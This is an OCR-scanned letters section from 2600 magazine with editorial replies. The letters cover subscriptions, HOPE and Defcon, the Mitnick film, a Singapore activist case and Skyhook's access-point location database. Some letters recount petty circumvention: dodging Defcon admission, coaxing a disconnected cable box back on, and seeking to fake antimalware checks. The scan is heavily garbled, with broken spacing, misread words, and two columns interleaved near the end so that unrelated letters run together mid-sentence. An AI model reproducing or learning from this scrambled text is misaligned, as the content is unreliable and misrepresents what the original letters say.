twice the a m o u n t  as t h e  U . S .  Anyways, the artic le  I ' m  
t h i n k i ng o f  wr i t ing exp l a i n s  how people i n  t h e  E U  can 
get N apster To Go for the same pr ice as the guys i n  
the U . S .  Noth i ng i l legal a l though I ' m  sure i t  breaks 
some Ts and Cs. 

Matt 
Again, we 're willing to see whatever articles people 

write. While it's kind of hard to believe it would be 
that  difficult to bypass the kind of billing practices you 
allude to, we 're always eager to see how people try to 
defeat systems. 

Dear 2600: 
Who pays for these? Ser ious ly, do you actu a l l y  

make money off you r  quarterl ies?  I j ust s i t  i n  Barnes 
and Noble and read them there. That's j ust  me. 

Andrew 
Sent from my iPhone 

While that's your right, we 're fortunate that not 
everyone does that. If they did, then we wouldn't be 
around for very long. Unlike other magaZines, we rely 
solely on our readers to keep us going. Other publica­
tions simply rely on advertisements . They can actually 
not sell a single issue and still convince their advertisers 
that  people are being exposed to the ads, perhaps in 
scenarios such as yours. We don 't have that luxury, 
nor do we want it. You 're obviously reading us for a 
reason so we hope you 'll see the connection between 
supporting us and having the material continue to 
flow. 

Dear 2600: 
I can't make i t  to th i s  year 's conference.  W i l l  the 

MP3s  from the sess ion ta lks be posted o n l i ne? A l so, 
i s  th i s  rea l ly the last HOPE conference? I thought I 
heard/read that the Hotel Pennsy lva n i a  was no longer 
p lanned for renovat ion .  

Steph 
The MP3s are already online and the DVDs are 

also available. We seem to be getting better at this as it 
was all done in record time this year with more mate­
rial than ever. And while the hotel is always in a state 
of renovation, it:, the destruction that  seems to have 
been shelved, at least for now. And yes, this was the 
last HOPE conference. The next one will be the next 
HOPE conference. We're sorry for any confusion this 

Anonymous may have caused. 
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Dear 2600: 
What is the po int  of the meet ings?  

daniel 
Since we apparently won't fool you with the 

obvious reason, we can tell you the real one: to 
get people out of their homes on the first Friday of 
the month so that the monitoring devices can be 
installed. 

Dear 2600: 
I have been read i n g  your magaz ine for severa l 

years now and wou l d  l i ke to know where I can submi t  
for rank  with i n  the hacker orga n i zat ion .  I a m  c urrent ly 
a green belt  in B raz i l i a n  J i u -J itsu and a n  orange belt  
i n  Muay Tha i .  Both are very dead ly, yes, but as we 
a l l  know i n  the 2 1 st century we can not run  around 
e l bowing  people  i n  the face or chok ing them to death . 
What ranks are ava i l ab le  to me as a hacker? I am not 
ignorant and comp lete ly u n derstand that you can not 
s imp ly  hand me a black belt  i n  hack ing based on one 
emai l .  Of course, I expect to at least start off around 
green or brown belt  as I have taken severa l computer 
progra m m i n g  c l asses and can send a transc r ipt if 
necessary. I have a l so hacked i nto severa l computer 
systems but I can not ta l k  about i t  through unencrypted 
emai l .  P lease forward t h i s  ema i l  to the tra i n i ng officer 
of you r  organ i zat ion for i m mediate process i ng. 

Brian V. 
Our training officer (Sensei 2600) would only 

respond to this with "You begin as a beginner like 
everyone else, with a white belt. A good start would 
be calling me Sir. " 

Proclamations 
Dear 2600: 

hack the e lect ion and overth row the shadow 
systems r igging of e lect ions that have been farced for 
the l ast 70 yea rs. those that have e lected a l l  of our  
presidents. i know, and i have been witness to  the l ast 
few. you need to start everyone on e lect ing a sma l l  
party cand idate (the system needs t o  b e  hacked).  
the red and blue are tru ly  connected . do not let the 
corporat ions and spec i a l  i nterest and al l  of amer icas 
other ev i l s  se lect who runs  your cou ntry. and do not 
l et them r ig a nother e lection wi th  equ i pment that you 
wou ldn't l et you r  grandmother use. do not try to trace 
t h i s  message. i have ghosted an aol  account.  

my apologies for not signing 
please heed my advice 

thank you 
Anyone who can ghost an AOL account clearly 

knows what they're talking about. The hackers of the 
world will take this solemll duty most seriously. 

Dear 2600: 
good day i hacked www.ya hoo.com i t  was not 

mafia boy a i m  a m u s l i m  i l eave in the nether la nds 
c i ty: heerhugowaard aim now a good Mus l i m  you can 
be l ieve me or not but i rea l l y  d i t  i t  but maf ia boy was 
a fr iend of me we here l i tt le k ids  do bad th ing who 
don't no rea l l y that t ime what we doing you most now 
i have hacked his school with netbus but oke i don't 
l i e  bel i eve me so that was my story now i don't hack 
any more 

why i don't te l l  it before i don't no i was j u st a l i tt le  
k i d  1 3  years o ld  now a im 1 9  

We can only wonder what a letter from you 
when you were 13 would have looked like. Thanks 
for all of the identifying information (including your 
phone number) that  you sent us but we think it's utter 
nonsense. That's right, we don't believe you could 
hack a typewriter, much less Yahoo. Of course, if you 
were really good you'd hack Coogle or maybe even 
the government. But we don't think you 've got what  
i t  takes. No skills whatsoever. Of  course, i f  we were 
wrong, we 'd sure look stupid and you 'd look totally 
awesome. But we're not. We're right and you 're lame 

This should be fun. 

Dear 2600: 
I app laud the return to stap les in response to the 

i ncons istency of the format. Too bad the g l ued sp ine 
never worked r ight .  

Oh,  and i t's st i l l  $6 .66 where I l ive. 
Trol laxor 

There's something strangely reassuring in that. 

Dear 2600: 
Be ing  a hacker, I found  some th i ngs very d i sturb ing  

watch ing  the mov i e !  I have been a hacker now for 1 1  
years. I a m  I n  CdC, EFF, and the Happy Hackers. 

I enjoy 2600 and have for a very long time now. 
F ive questions come to my m i nd and have been both­
er ing me now s i nce day one and I have never seen 
you respond to any of the quest ions I am about to 
ask.  

1 .  

2 .  

3 .  

4 .  

5 .  

W e  a l l  know J o h n  Markoff a n d  S h i momura 
are i d i ots ! Where and how d i d  they meet? 
Why was Markoff there in North Caro l i n a  i n  
the fi rst p l ace? 
As I have stated above, I too am a hacker 
and a l so was mon itored for th ree yea rs. 
They too have been to my house and I was 
never treated l i ke that! Questio n :  Why are 
they us ing  M itn ick  as a n  examp le?  
We a l l  know what  happened to  the Home­
brew Computer C l u b .  Quest ion :  Why when 
we al l  know what happened to Roscoe are 
they mak ing  Mitn ick  pay the h igh pr ice for 
bei  ng a hacker when other hackers have 
done other t h i ngs j u st as bad i f  not worse? 
As i t  states in the man i festo, "They may stop 
one person but they w i l l  never stop us  a i L" 
Why is Kevi n  the i r  so le target? 

Kev i n  Mitn ick  never deserved any of t h i s  and 
never w i l l !  He  i s  a h u man be i ng and deserves to be 
treated l i ke one! Not l i ke an a n i ma l !  

jodi 
These aren 't really new questions and in fact a few 

of them are basically the same question rephrased. 
But we 're glad to see our film is still igniting such indig­
nation after so many years. We did our best to at least 
pose the important questions in our film. You'll have to 
theorize on the rest or track down people who actu­
ally know what the true agenda was. 

Dear 2600: 
I t  cOll lrl  be that my ears are not sensit ive enough, 

but I haven 't heard much d i scuss ion about the 
d i sgracefu l l y  i l logica l trend known (somet i mes?) as 
End User Secur i ty Pol i c ies .  You know - those networks 
(usua l l y  WLANs, but someti mes actual http s i tes ! )  that 
require the i r  users to have some arbitrary set of "secu-
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use a given resou rce? 
Th i s  i s  completely outrageous.  At the very l east i t  

demonstrates a p i t i fu l  and, more i mportant ly, back­
wards approach to a problem for wh ich  the resource 
provider i s  neither respons ib le, nor at r i sk  from.  If a n  
e n d  u s e r  i s  suffer ing from ma lware i ssues, i t  i s  n o t  the 
WLAN's problem,  and the WLAN i s  respons ib le  for i ts 
own secur i ty. The confused po l icy of req u i r i n g  users 
to keep the i r  Windows u p  to date and laden with ant i ­
ma lware i s  ambiguous about whether i t  represents 
some k ind  of s i l ly, forcefu l benevolence, or  some 
flawed measure at protect ing itse l f. 

Equa l l y  i m porta nt is the m i stake in ass u m i ng that 
Windows U pdates and ant i -ma lware make a computer 
"safer." You know when you ask a sa lesperson at a 
major e lectro n i cs cha i n  if an MP3 p layer app l i es its 
lost frequency compensation fi l ters on aud io  that 
has been encoded loss l ess ly, and he  j ust l ooks in the 
manual and then says " It  make the sound better" ? Th i s  
i s  what  i s  happen i n g  when someone te l l s  you  that 
ant iv i rus software makes a Windows mach i ne more 
stab le .  There is rea l l y  no corre lat ion between the two. 
Staying  away from obvious ly  i l l ega l websi tes i s  how 
you avo id  gett ing  a v i rus .  

Of course, most  people who u nderstand th i s  
wel l  enough to d i scuss i t  j ust say "why don' t  you run  
L i nux?"  Th i s  i s  not  the poi nt. I a m  a L i n u x  user  and 
a n  X P  user, and ne i ther  is  better. The point  i s  that  I 
have an XP mach i ne that runs  extreme ly  wel l , and I 
am den ied access to my own schoo l 's (U of Toronto) 
WLAN because of the i r  i ncompetence. 

I want to know i f  a nyone is  work ing on c i rcum­
vent ing th i s  nonsense. I s  there any software that tr icks 
the OS (or whoever's ask i ng) i nto th i nk i ng  you have 
ant i -malware nonsense i nsta l l ed and r u n n i ng?  

There cou ld  be a rea l l y  s imp le  so l ut ion that  I ' m  
n o t  aware of. P lease l et me know. 

Jeff 
We hope to see an article or two on this. 

Dear 2600: 
I fee l  k i nda bad. I am a homeless hacker and I 

have been read ing  you r  mag s i nce I was b u i l d i ng 
desktops out of the d u mpster. I love you r  mag, great 
content. I o n l y  wish  I d idn 't have to stea l i t  to read it. 
I guess I cou l d  j ust read i t  o n l i ne, but there's noth i n g  
l i ke a n e w  copy. I ' m  addicted ! 

Homeless Hacker 
Well, as an addict, you should realize the impor­

tance of paying for your next fix. You don't want  to 
anger the supplier. 

Dear 2600: 
$ 1 2 0  for adm iss ion to Defcon was an outrageous 

pr ice, parti c u la r ly  s i nce most of that cost probab ly  
went  i nto pay ing  for  the fancy badge. Now, th i s  be ing  
a hacker's convent ion and that  one of  the events was  a 
"badge hack i ng contest," I decided to perform the u l t i ­
mate badge hack - I don't need no sti n k i ng badges ! 

My fi rst attempt was to j ust "wa l k  i n "  and see how 
far I 'd get, wear ing  regu la r  street c l othes l i ke a l l  the 
other attendees. I got as fa r  as the h a l l  mon itors posted 
at the bottom of the skybox sta i rs .  Next, I went back to 
my room and  cha nged i nto a pa i r  of b l ack s l acks and 
a whi te dress s h i rt .  And added to  my atti re, a green 
R iv iera cap. I t 's been two days now, and I 've not been 
stopped yet! 

Ripping people off isn 't what  hacking is about. 
It's one thing to figure out a way to defeat the system 
but using it for personal gain like this is simply bad 
for the community. In your case it looks like you just 
managed to avoid being spotted. Not exactly high 
tech but it can be effective. Keep in mind, though, that 
these events cost money to put on and only survive 
because people contribute. If you think it costs too 
much, there are lots of other more effective ways of 
letting tha t  be known.  

Help Needed 
Dear 2600: 
Do not publish in any way (spoken or print) . 

I was wonder ing if you knew of anyone who wou I d  
be wi l l i ng t o  teach me h o w  t o  program ( l anguage 
u n i m portant) .  I u nderstand most of the basics of 
progra m i ng from work and other t h i ngs. I wou l d  be 
wi l l i ng to pay for the time or I cou l d  teach them about 
h igh end mapping. I j ust don't want to take a c lass 
that i s  based on a grade that means noth ing  more then 
a letter. 

Thanks in advance.  
Ian 

So why did we publish this despite your explicit 
request? Well, first off, we eliminated all geographic 
info so it's unlikely you will be found out. Second, you 
sent this to our letters section which exists solely to 
print letters. Third, your question deserves an answer 
that others can benefit from. Please forgive us. 

Obviously, we don't know people everywhere 
who can teach others in their area (especially since 
we totally wiped your info and no longer even know 
where your area is) .  But we can tell you generally that 
such people abound and tha t  you will find them by 
going to 2600 meetings or the various conferences 
that go on in the hacker world. We find that paying for 
a tutor isn 't all that  different from taking a class. The 
informal approach in more of a social setting tends to 
have better results in our experience. You want this 
to be something you look forward to, not something 
that's a chore or an obligation. If you have a real 
interest in the subject matter, then this shouldn't be 
an issue. And don't completely eliminate the possi­
bility of taking a class if it pertains to what  you want  
to  pursue. There i s  no law that says you have to  care 
about the grade you get. 

Dear 2600: 
I am aware that 2600, even though i t  i s  m a i n l y  an 

IT  magaz i ne, a l so p u b l i shes soc iopo l i t ica l  l etters and 
art i c les .  I was  part icu la r ly  impressed with you r  Spr ing  
2 002 i ssue a rtic le :  Ti me To Care .  The wr i ter made h i s  
message c lear: that  both corruption and ind i fference 
are needed to ensure a n  o m i nous future. 

Having sa i d  that, I wou l d  l i ke to bring to you r  
attent ion a l etter wr i t ing campaign t o  t h e  U n i ted 
States Congress. An American col l ege g i r l ,  Ame l i a  
Fedo, h a s  written a n  open l etter t o  t h e  U .S .  Congress 
h i g h l ight ing the p l i ght of Gopa l a n  N a i r. I bel ieve she 
i ntends to forward her letter to every s i ng le  member 
of Congress. 

"On May 2 9th, 2 008, Mr. N a i r  pub l ished a b log 
entry cr i t ic iz ing S i ngapore j udge Be l i nda Ang's b iased 
hand l i ng of the h i gh-profi l e  case of democrat ic  act iv i st 
Dr. Chee Soon Juan  v. author i ta r ian  former Pr ime 
M i n i ster Lee Kuan Yew, dur ing  wh ich  she favored Lee 

Lord Pong and den ied the defendant, Dr. C hee, a fa i r  tr ia l .  I n  
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response to N a i r's cr i t ic i sm of the j udge on h i s  b log, 
S i ngapore government offic i a l s  arrested h i m  on May 
3 1  at the hotel where he  was stay i ng. He had been i n  
S i ngapore s i nce May 2 6th, and,  pr ior t o  h i s  a rrest, had 
expected to return to his home i n  the U n ited States on 
the t h i rd of J u ne." You may read the complete l etter at :  
http://www.gopa lan-na i r.orglm isclfedo. ht m l .  

I u nderstand t h a t  i n  order for t h e  campaign to 
secu re the l iberty of Gopa l a n  N a i r  successfu l l y, more 
p u b l i c i ty is needed. And I wou l d  l i ke to know if i t  
wou l d  be poss ib le  for  you and you r  fel low American 
c i t izens to start a l etter wr i t ing campaign to Congress 
in conj u nct ion with M i ss Fedo's efforts. If poss ib le, a 
s i m i l a r  pet i t ion to the S ingapore embassy in Wash­
i ngton wou l d  a l so be he lpfu l .  

Singa Crew 
(cyber-activist based in S ingapore) 

This is indeed a scary story that deserves much 
more attention than it's gotten. We encourage our 
readers to help spread the word. This could happen 
to anyone. 

Experiences 
Dear 2600: 

I have recently contracted a very " u ncoo l "  v i rus.  
Th i s  v i rus  i s  pretty i nterest ing  and has one aspect that 
I had not suspected. I t  wi l l i ng ly  gave me the enti re 
code wr i tten in ABA. The code had a l ready done its 
work and had r i pped some registry data . I don't know 
why but i t  d id .  I fixed the regi stry with Tweak VI  and 
i t  worked fi ne afterwards. Another s ide effect however 
was that in the Temp fol ders i t  had copied 5000 x86 
f i les .  Which seemed strange. I d i d  not want to send in 
a l l  of the code even though it  i s  not a l ot - only about 
200 l i nes. I f  a nyone i s  i nterested I wi l l  send i t  i n .  

Micah 
We suspect there will be some interest in this. 

Dear 2600: 
I pre-ordered a copy of The Best of 2600 a few 

days ago, and was goi n g  back to Amazon to see i f  the 
pr ice had changed s i nce I ordered it . . .  and noticed 
that Amazon i s  now sel l i ng subscr ipt ions to the maga­
z ine  for $50 a year. Seems a l i tt le  steep at about two 
t imes the she lf  pr ice.  Is th i s  some sort of m i stake? 

drlecter 
This has actually been going on for some time. 

Somebody got the bright idea to subscribe to us at the 
corporate rate and then try and resell the magazine 
through Amazon. It's not something we can really stop 
since they're not breaking any rules. But judging from 
the amount of negative feedback posted on that site, 
we doubt they're doing very well. And quite a few 
people have indirectly found themselves browsing 
through our online store because of this so it's a weird 
form of publicity we 're getting out of this. 

Dear 2600: 
I have been read i n g  your magaz ine  for about a 

year now and have been very i nterested in the art i­
c l es .  I loved 2600 ever s i nce my dad started br ing ing 
them home for  me. After becoming  frustrated with my 

Cablev is ion DVR box to record the show at 4 :00, and 
I was looki n g  forward to watc h i n g  i t  unt i l the Cablevi­
s ion box j ust shu t  off. I ca l led my parents i m med iately, 
exp la i n i ng the prob lem, and soon found  out  that they 
hadn't paid the cable b i l l  yet. 

So after a few m i nutes, I ca l med dow n .  I knew I 
had five m i nutes left unt i l Oprah came on .  My m iss ion 
then became to hack the cable box so I cou l d  watch 
my show. I began to exper i ment with sw itc h i ng the 
access cards for the boxes, switch i n g  the box off and 
on,  remov i n g  and rei nsert ing  the access cards  unt i l  
I saw the n u mber or  the current t i me, and ho ld ing  
down the "select" button w h i l e  press i n g  the power 
and channe l  up buttons .  

I t  was about 3 0  seconds unt i l  the sta rt of the 
show when I f ina l ly succeeded. After I took out the 
access card, then re i n serted i t  and held down the 
select button w h i l e  s i m u ltaneous ly  press i n g  down 
the power button, the cable box came back on and 
worked ! I started shout ing with joy, and then recorded 
my favorite new epi sode. 

I then ca l led my dad and bega n to tel l h i m  how I 
had hacked the cab le box. My dad sa id ,  "Stop !  We're 
on an open l i ne." I l aughed and got off the phone.  
I fe l t  rea l ly good knowing that I had outsmarted 
Cablev is ion .  

Note: I on ly  gai ned access to  2 8  channe ls  (chan­
ne ls  02 to  30 ) .  Can anyone tel l me how anyth ing  I 
tr ied cou l d  have worked and a l so why I on ly  got 2 8  
channe ls  back? A l so, a ny other gu idance or advice s o  I 
can learn more about hacking wou l d  be apprec iated . 

Shai 
It sounds like you may have only gained access 

to the basic cable part of your package which might 
actually be the way Cable vision intended it to work 
for people who are late on their bills. Frantically 
pushing buttons can sometimes force certain modes 
to activate so that's often a good way to proceed in an 
emergency such as yours. 

Dear 2600: 
I recent ly was asked to appear in a promo video for 

a c i ty sponsored tech office space (deta i l s  are bor ing) .  
Be ing the only person i n  Char leston,  South Caro l ina 
who understands post- 1 998 I nternet techno logy, they 
rea l l y  wanted to i nc l ude me as their spokesperson . 

My on ly  condit ion was that somewhere in the i r  
footage, they must have a shot  of my mon i tor, which 
d i sp layed any non-pornograph ic  content of my 
choos i ng.  Contrary to their assumptions that I wou l d  
have a BSoD, a pengu in ,  or my "Olsen tw i ns" screen­
saver on the background monitor, I chose a p icture 
that confused them. 

At the fou r  second mark you w i l l  see a fam i l i a r  
2600 i mage on my back moni tor. I apolog ize for the 
br ief and poor ly  captured i magery. 

Here's a link to the very ernbarrassing video: 
h t t p : / / w w w . y o u t u b e . c o m / w a  t c h  ? v =  
cLW FZ8mdlnQ. L ive for awh i l e  and prosper some. 

Noah 
Thanks for the free plug. 

cable box, I recent ly  fou n d  a way to hack i t .  Dear 2600: 
Watc h i n g TV is one of my everyday activit ies a long I know that you are i nterested i n  know i n g  what 

with hack ing.  Cablev is ion i s  my c urrent prov ider and reta i l ers who se l l  your magazi n e  are u p  to so I wou l d  
my favor i te u n t i l  now. O n e  day I c a m e  h o m e  from l i ke to relate th i s  story. On Wednesday, August 6th I 
school expect ing  to watch a new epi sode of Oprah v is i ted a loca l  Barnes and Noble bookstore (P i ttsfie ld ,  
but  soon became frustrated . I started to set  u p  my Massachusetts - store #2661 ) wh i l e do ing some errands 
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i n  order to p ick  up two of my favor i te period ica l s, the 
f i rst one be ing Mojo magaz ine  and the second one 
bei n g  2600. Th i s  store has been my source for you r  
magaz i n e  for a n u mber of years n o w  and I 've never 
had a prob lem buy ing  i t  there. On t h i s  v i s i t, however, 
I cou l d  not f ind you r  magaz i ne. I went so fa r as to use 
the l i tt l e  round step stoo l to stand on in order to look 
between the magaz i nes on the topmost rack, t h i n k i ng 
for some reason maybe 2600 was h i dden i n  there 
or somehow m isp laced . No l uck.  I suspected that 
perhaps the store was j u st between issues and hadn't 
received or gotten around to putt i ng  the latest i ssue 
up .  I eventua l l y asked an employee who l ooked u p  
both magaz i nes i n  the store computer, confi rmed they 
shou ld  have both i n  the store, and promptly found  the 
fi rst one eas i ly. He cou l d  not f ind 2600, however, and 
was at a l oss to u nderstand why. I took one l ast hard 
l ook around the magaz ine b i n s  myself and then gave 
up empty h anded so to spea k. 

Luck i l y, j ust two weeks l ater I found  myself back 
i n  that town and was able to sw ing  by the same 
Barnes and Noble. When I went u p  to the magaz ine 
racks where you r  magaz i n e  typ i c a l l y  s i ts, I saw a 
d i fferent employee pu l l i ng magaz i nes off the she lves 
and stack ing  them neatly on a bench .  He saw me 
snoop ing  about and cra n i ng my neck and asked me 
what I was look ing for. I to l d  h i m  I was there last week 
and cou ldn 't find 2600. He sa id ,  "That's beca use i t's 
h idden ." Then he reached up beh i n d  a ta l l  com puter 
magaz ine  and p u l led a fresh S u m mer 2 008 copy of 
2600 down for me. I know for a fact they weren't there 
two weeks ago because the spot where h e  p u l led i t  
from i s  one where I was look ing wh i l e  stand ing  on 
the step stoo l .  He went on to say that "2600 has to be 
concea led now." I asked why that was s i nce I never 
had troub le  f i nd ing  i t  in the past. He sa id  the d i rective 
"came down from corporate, that they don't want that 
part i cu la r  magaz ine  showing  anymore." He added 
that they wou l d  probab ly  change the i r  tune when they 
rea l i zed that they weren't sel l i ng as ma ny. I said that I 
hoped he was r ight .  

FY I ,  they did r ing  my 2600 purchase u p  correct ly  
as i t  appears on my rece ipt as :  "2 600 HAC K E R  QUAR­
TERLY, 072 52 7483 1 5 86,  ( 1  @ 6 .2 5 ) " .  

Sl mOnS3z 
We know even without asking that such a directive 

would make no sense at all. We don 't know what  kind 
of games are going on at  that store but it wouldn't be 
the first time an employee did something crazy to one 
of our issues. We thank you for continuing to ensure 
that we 're findable in your local stores . If this kind of 
thing continues, we suggest you speak to the manager 
about it. 

Dear 2600: 
H i .  I ' m  an l l -year-o ld boy in Sweden.  I 've heard 

about a new hacker that ca l l s  h i mse lf  Zero Coo l .  He's 
a l so 1 1 .  H i s  father is from Kosovo and now he's at 
wa r with some other A lban ian  hackers: Dr.Go, @nt i ­
Viru ! $, Matr ix ,  U n ic racker, and G ra n it .  

D r.Go i s  1 5 - 1 6 years o ld,  he's the only one of 
these crackers who's got a heart. His fr iend i s  @ nt i ­
Vi ru ! $, he cracked a n  FB I  page a few days ago, he 
used to be friend with Matr ix  but then they beca me 
enem ies, and he's about 1 80 c m .  

@ nt i -Viru ! $  i s  a l so 1 5 - 1 6 yea rs o ld ,  he's the o n e  
who has the coldest heart, he m a d e  Matri x 's nose get 
b l oody - haha  it 's rea l ly fun ny. I can te l l  you about it 

l i n  t h e  end.  He's about 1 64 c m .  

Matr ix got h i s  nose b loody from @ nt i -Vi ru ! $, h e  
used t o  b e  fr iends with Dr.Go b u t  i t  d idn 't get s o  good. 
He's about 1 80 cm and he's fr iend's with U n icracker. 
Matr ix  is ra n ked N u m ber One on the h acker l i st i n  
Kosovo. 

I don't have any i nfo on U n i c racker. 
Zero Cool is 1 1  years o ld ,  he's 1 63 cm. ,  and l ives 

somewhere in Sweden.  
Here i s  the story about @ nt i-Vi ru ! $, Dr.Go, Matrix, 

and Matr ix 's l i tt l e  brother: @ nt i -Vi ru ! $  gave a l o l l ipop 
to Matri x's l i tt le  brother and his phone to record when 
they beat up his brother. (Matri x's l i tt l e  brother is 
1 1 - 1 2  years o l d . )  @nt i -Vi ru ! $  hit  Matr ix with his f ist 
and broke h i s  g l asses and then Matr ix  started b leed ing  
from the nose  and Matrix's l i tt l e  brother looked a t  
them with  confused and s u rpr i sed eyes. Then  @ nt i ­
Viru ! $  looked at Dr.Go and sa id ,  "What  the h e l l  are 
you doing?"  (they are rea l l y  j ust spea k i n g  A l ban i a n  
at t h e  t i me) and he kept say i ng, "Why d i d  y o u  h i t  
h i m ?" Then @ nti-Vi ru ! $  k icked h i m  and Matr ix started 
ru n n i ng and @ nt i -Viru ! $  and Dr.Go ran after h i m  (a l so 
Matr ix 's l i tt le  brother) .  Then when Matr ix  was about to 
go i nto h i s  b ig  house (fi rst he had to pass the gate to 
come to the yard), @nt i -v i ru ! $  k icked h i m  in the ass, 
then Matr ix  let his l i tt le brother go in and they sta rted 
swear ing  at each other (Matr ix  on one s i de of the gate 
and @ nt i -v i ru ! $  on the other) .  Then Matr ix started 
with,  "I f#cked you r  mum,  I f#cked you up."  Then @ 
nt i -v i ru ! $  sa id ,  "We l l  come out  then ! "  Then Matr ix 
sa id,  "No way, I 'm never go ing  outs ide aga i n ." Then 
Matr ix turned to his l i tt le brother and sta rted swear ing 
at h im and at h i s  l o l l i pop l i ke:  "You and you r  f#ck ing 
lo l l i pop ! "  

Cracker Spion 
Well, there 's a t  least one book here and without 

doubt a major motion picture as well. It's clear to see 
what  makes these people the talented hackers that 
they are. Why can 't the rest of the world understand 
this ? We hope in the next installment to find out why 
Zero Cool went to war and who the hell Granit is. Truly 
faSCinating stuff 

The Best of 2 600 
Dear 2600: 

Be ing a l i fet ime subscr i ber, is The Best of 2600 
book free for me or do I get a d i scount of some k i n d ?  I 
d idn 't f ind any relevant i nformation perta i n i ng to th i s  
so I f igured I 'd drop you  a l i ne and see  i f  you  had any  
answers or brought the quest ion u p  to  someone who 
may . . . . 

Hans 
There are no discounts from us as we 're not the 

ones publishing it. But you can certainly hunt around 
and find it a t  discounted prices in various places, 
online and off 

Dear 2600: 
Any chance that your  new book The Best of 2600 

w i l l  be made ava i lab le  for down load on Amazon 
K i nd le ?  For those of us with o ld  eyes, the abi l ity to 
i ncrease the font s ize of the text wou l d  be a rea l p l us .  

Keep u p  the good work. 
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Dear 2600: 
After a severa l year h iatus from read i ng and wr i t ing 

to you r  magaz i ne, I thought  a b i t  of nosta lg ia  was in  
order and I opened The Bf'st of 2600 wh i le brows i ng 
my loca l Barnes and Noble .  Lo and behold,  I fl i pped 
to page 704 and was greeted by "Fun  With Rad io 
Shack," an art i c le  I wrote back i n  2 00 1  as "Cu n n i ng 
L i n g u i st," my nom de p l u m e  at the t i me. I cou ldn 't 
bel i eve how i m mature my techn ica l  wr i t ing was !  ( I  
guess it's a good th i ng I c a n  recogn ize that now.) 

Thanks for the memor i es, and for putt ing  my 
arti c l e  in you r  mag - I mean ,  book !  

Jeff Strauss 
Formerly known as "Cunning Linguist" 

Your immortality has now been achieved. 

Problems 
Dear 2600: 

I have not received any i ssue after my renewa l ,  
i .e . ,  spr ing onwards. 

Vikas 
New Delhi 

This was most likely a postal issue. We've 
forwarded your mail to the subscription department 
as you sent this to the letters department. (Yes, they 
are different people entirely. ) That  address, inciden­
tally, is subs@2600. com. 

Dear 2600: 
Hey, I ' m  super exc i ted that you p icked the art ic le  I 

wrote that appears right at the beg i n n i ng of the maga­
z i ne .  On a negat ive note, I was d i sappoi nted to see 
severa l grammat ica l  and spe l l i ng errors in the Genera l  
I nformat ion section .  That sect ion w a s  c l ear ly  ed ited 
for s i ze but I found  mysel f  strugg l i ng to understand 
what the paragraph was say i ng beca use there were 
not on ly  spe l li ng errors but comp lete cha nges of 
words .  Some examp les of that are "aperforms" i n stead 
of "access poi nt" and " Iotabase" i n stead of " locate me 
through thei r serv ice." P lease don't fee l  I a m  attacki ng 
you .  I u ndersta nd that ed i t ing  a magaz ine  l i ke th i s  
wou l d  be t ime consu m i ng and the occas iona l  spe l l i ng 
m i stake is to be accepted. I feel as though my art i c le  
i s  much  more d iffi cu l t  to  u nderstand and  i t  ma kes me 
look l i ke a poor wr i ter. On a happier  note, I can 't wa i t  
t o  get The Best of 2600 book. Aga i n ,  t h a n k  y o u  for 
pu5 1 i sh i ng my art ic le .  I made a v i deo demonstrat ion 
as wel l wh ich  can be found at: 
http://thebmxr.googlepages .com/home2 

Terry Stenvold 
We're really sorry about how that article got 

majorly messed up in a couple of places. This was the 
result of a computer error that took place after the 
proofreading process. We also neglected to mention 
the availability of source code from the article in our 
code repository (http://www.2600. comlcode).  

We're reprinting the affected sections from the 
article which appeared on page 6 and 7 of 25:2. The 
paragraph under "General Information " should have 
reacf as follows (missing sections in bold) : 

"As you may know, there is a new fea ture included 
in the Google maps 1. 1 . 3  update for the Apple 

Dear 2600: iPhone and iPod Touch; the "Locate Me " feature. 
After 33 p l u s  years of prob lem so lv ing in the wor ld  The new feature is  provided by another company 

of profess iona l  theater aud io  I accept that perfection  called Skyhook Wireless (http://www.skyhookwire-
is not atta i nable .  It i s  a d i rect ion .  St i l l ,  one stu mb les less. coml) .  Skyhook 's system is named WPS, for 

h H k Q I d h '  k h h Wireless Positioning System, and locates users by upon t e ac er uarter y an t i n S  t at per aps 
knowing the location of their wireless access point. 

t h i s  pub l icat ion,  wi th  an enormous amount  of fasc i - I n  another context, "WPS" also is a term coined by 
nat ing subj ects, w i l l  be perfect. It seems that I have the Wi-Fi Alliance to mean "Wi-Fi Protected Setup. " 
not rea l l y  accepted that perfect ion is not atta i nab le .  Skyhook performs their location features in a unique 
Expectat ions cause one to stumble .  way because WPS requires knowledge of the specific 

J ust one ed i t ion of 2600 and I was captured. geographic location of individual access points. The 
Vol u me 24 N u m ber 4 moved me i nto the 2600 mode Skyhook website states that information is obtained 
of t h i n k i ng. I was home. by deploying hundreds of data specialists who scan 

What to do next, besides subscr ibe .  I ' l l  get some and locate access points using proprietary scan-
back issues to keep me cook in '  unt i l the fi rst i ssue of ning vehicles. Skyhook deploys approximately two 
my subscr ipt ion arr ives here i n  B F E .  hundred wardrivers to scan and locate access points 

I ordered fou r  back i ssues.  The USPS had gotten i t  and they then append this information to  a large refer-
r ight  th i s  t ime and del ivered my m a i l  to me and not ence database. The problem with the system, other 
to some person at an address d i fferent from m i ne.  Joy than knowing someone has driven by your house or 
i n  Mudv i l l e .  business and added your AP's information to a large 

Tear i ng open the package I f ind d i sappoi ntment, database, is that a third party can then locate you with 
a fu nct ion of expectation .  There was no S u m mer only your MAC address. I recently emailed Skyhook 
2 007 and two of the Autum n  2007.  P i ssed, I ca l cu l ate and asked if there is a way for people to locate me 

send i ng back the extra Autu m n  2007 and demand ing  through their service. They responded, "no, i n  no 

a correction  in the order. way can anyone track your location." The second 

No!  I ' l l  j ust send the extra issue to a fr iend (a question I asked was if it is possible to have some-

rea l computer person ,  u n l i ke myself) .  Sa lvat ion ! The one's AP address removed from their database. They 
f f II I d responded, saying that they "cannot remove indl-acceptance 0 i mper ect ion a ows me to re ax an 

vidual access points . . .  every access point by definition enjoy 2600 w h i l e  scor i ng  some Karm ic  poi nts i n  broadcasts a radio beacon . . . .  Th e  only way to stop 
he lp ing  a fr iend enjoy the good ies .  an access point from broadcasting its {Jresence is to 

And so it goes. Tha n ks for putt ing  out a pub l i ca- unplug it . . . .  we don 't actually identify the location of 
t ion  wh ich  can sti m u l ate creativ ity, stoke the f i res of access points, just the signals that they create." This 
act ion tak i ng, w h i l e  rem i nd i n g  one to l i ghten u p  and information is  particularly unsettling since Skyhook 
accept that perfect ion is a d i rect ion,  one that 2600 i s  claims n o  other way to remove a n  AP's address from 
a l ready trave l i ng, a l be i t  with bumps a long the way. the database besides unplugging the access point. " 

I w ish  2600 success, happi ness i n  what you do In addition, the last line of the "Step 1 "  paragraph 
